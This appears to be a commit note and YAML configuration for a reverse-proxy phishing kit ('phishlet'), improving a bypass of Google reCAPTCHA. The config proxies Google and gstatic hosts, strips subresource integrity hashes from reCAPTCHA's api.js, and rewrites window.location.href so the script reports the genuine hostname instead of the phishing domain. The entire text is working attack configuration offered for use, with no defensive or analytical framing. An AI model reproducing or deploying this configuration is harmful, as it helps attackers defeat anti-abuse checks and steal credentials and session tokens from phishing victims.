Improve Google ReCaptcha bypass

• Bypass integrity verification in api.js

• Avoids using variable names that change in recaptcha releases

• Doesn't require encoding the domain name in the phishlet

proxy_hosts:
  - {phish_sub: 'google', orig_sub: 'www', domain: 'google.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'gstatic', orig_sub: 'www', domain: 'gstatic.com', session: true, is_landing: false, auto_filter: true}

sub_filters:
  - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'google.com', search: "integrity[ \t]*=[ \t]*[\"']sha384-.{64}[\"']", replace: 'integrity=""', mimes: ['text/javascript']}
  - {triggers_on: 'www.gstatic.com', orig_sub: 'accounts', domain: 'safe-domain.com', search: "\\(window.location.href\\)", replace: '(window.location.href.replace("{hostname}", "{orig_hostname}"))', mimes: ['text/javascript']}